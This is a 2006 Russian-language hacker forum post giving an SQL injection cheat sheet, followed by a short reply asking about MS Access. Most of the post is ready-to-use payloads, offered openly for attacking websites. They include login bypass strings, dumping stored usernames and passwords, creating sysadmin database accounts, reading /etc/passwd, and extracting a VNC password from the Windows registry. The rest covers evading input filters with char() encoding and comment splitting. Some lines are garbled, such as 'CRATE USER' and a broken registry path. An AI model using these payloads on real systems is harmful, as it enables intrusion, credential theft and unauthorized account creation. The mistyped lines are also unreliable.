Статьи Рассмотрение SQL Injection

Discussion in 'Статьи' started by »Atom1c«, 24 Dec 2006.

  1. »Atom1c«

    »Atom1c« Banned

    Joined:
    4 Nov 2006
    Messages:
    234
    Likes Received:
    285
    Reputations:
    92
    1. Вступление.
    2. Проверка на уязвимости.
    3. Сбор информации.
    4. Типы данных.
    5. Берём пароли.
    6. Создаём аккаунт для БД.
    7. Взаимодействие с ОС из MySQL
    8. Имя и настройка сервера.
    9. Получаем VNC пароль из Реестра.
    10. Обход определённых ограничений.
    11. MySQL - обход входных значений, за счёт использования Char().
    12.Обход ограничений используя коментарии.
    13.Строки без кавычек.

    1. Когда на сервере открыт только 80 порт, и вероятнее всего, что админ пропатчил

    сервер, лучший вариант - перейти к веб атакам. SQL injection это один из самых

    распространенных видов веб атак.
    Ты атакуешь скрипт, (ASP,JSP,PHP,CGI .. etc) нежели вебсервер или какую либо

    службу запущенную из ОС.
    SQL injection это способ использовать комманды введённые через вэб страницы,
    большинство страниц берут параметры вводимые пользователем, таких как имя

    пользователя или пароль или возможно даже e-mail.
    Все они используют SQL запросы.

    2. Стоит начать с чего-то простого.
    - Login:' or 1=1--
    - Pass:' or 1=1--
    - http://website/index.asp?id=' or 1=1--
    Так же можно попробывать еще такие простоые варианты :
    - ' having 1=1--
    - ' group by userid having 1=1--
    - ' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects

    WHERE name = 'tablename')--
    - ' union select sum(columnname) from tablename--

    3. Собираем информацию.
    - ' or 1 in (select @@version)--
    - ' union all select @@version--
    Данные запросы выведут данные о компьютер, ОС, сервис паке.

    4. Нужные таблицы с информацией.



    Oracle
    -->SYS.USER_OBJECTS (USEROBJECTS)
    -->SYS.USER_VIEWS
    -->SYS.USER_TABLES
    -->SYS.USER_VIEWS
    -->SYS.USER_TAB_COLUMNS
    -->SYS.USER_CATALOG
    -->SYS.USER_TRIGGERS
    -->SYS.ALL_TABLES
    -->SYS.TAB

    MySQL
    -->mysql.user
    -->mysql.host
    -->mysql.db

    MS access
    -->MsysACEs
    -->MsysObjects
    -->MsysQueries
    -->MsysRelationships

    MS SQL Server
    -->sysobjects
    -->syscolumns
    -->systypes
    -->sysdatabases

    5. Берём пароли.

    '; begin declare @var varchar(8000) set @var=':' select

    @var=@var+'+login+'/'+password+' ' from users where login > @var select @var as

    var into temp end --

    ' and 1 in (select var from temp)--

    ' ; drop table temp --

    6.Создаём Аккаунт



    MS SQL
    exec sp_addlogin 'name' , 'password'
    exec sp_addsrvrolemember 'name' , 'sysadmin'

    MySQL
    INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost',

    PASSWORD('pass123'))

    Access
    CRATE USER name IDENTIFIED BY 'pass123'

    Postgres (requires Unix account)
    CRATE USER name WITH PASSWORD 'pass123'

    Oracle
    CRATE USER name IDENTIFIED BY pass123
    TEMPORARY TABLESPACE temp
    DEFAULT TABLESPACE users;
    GRANT CONNECT TO name;
    GRANT RESOURCE TO name;

    7. Взаимодействие с ОС через MySQL.

    - ' union select 1,load_file('/etc/passwd'),1,1,1;

    8. Имя сервера и настройка.

    - ' and 1 in (select @@servername)--
    - ' and 1 in (select servername from master.sysservers)--

    9. Получаем пароль VNC из реестра.



    - '; declare @out binary(8)
    - exec master..xp_regread
    - @rootkey = 'HKEY_LOCAL_MACHINE',
    - @key = 'SOFTWAREORLWinVNC3Default',
    - @value_name='password',
    - @value = @out output
    - select cast (@out as bigint) as x into TEMP--
    - ' and 1 in (select cast(x as varchar) from temp)--

    10. Обход ограничений.

    - ' OR 'unusual' = 'unusual'
    - ' OR 'something' = 'some'+'thing'
    - ' OR 'text' = N'text'
    - ' OR 'something' like 'some%'
    - ' OR 2 > 1
    - ' OR 'text' > 't'
    - ' OR 'whatever' in ('whatever')
    - ' OR 2 BETWEEN 1 and 3

    11.Обход ограничений на входящую строку используя char().

    Втавляем без кавычек (строку = "%"):
    --> ' or username like char(37);
    Втавляем без кавычек (строку = "root"):
    --> ' union select * from users where login = char(114,111,111,116);
    Втавляем без кавычек (строку = "/etc/passwd"):
    -->' union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
    Втавляем без кавычек (строку = "n.ext"):
    -->' and 1=( if((load_file(char(110,46,101,120,116))char(39,39)),1,0));

    12. Используя коментарии

    -->'/**/OR/**/1/**/=/**/1
    -->Username:' or 1/*
    -->Password:*/=1--
    -->UNI/**/ON SEL/**/ECT
    -->(Oracle) '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
    -->(MS SQL) '; EXEC ('SEL' + 'ECT US' + 'ER')

    13 Сторки без кавычек.


    13.Strings without quotes.
    --> INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) +

    char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) +

    char(0x65) + char(0x72), 0x64)

    Greets: kaneda, modem, wildcard, #black and pulltheplug.

    HackZona.ru
     
    #1 »Atom1c«, 24 Dec 2006
    Last edited by a moderator: 24 Dec 2006
  2. Dirty.Animal

    Dirty.Animal New Member

    Joined:
    7 Feb 2007
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Спасибо за статью .
    Можно подробней о MS Access ?
    MS Access.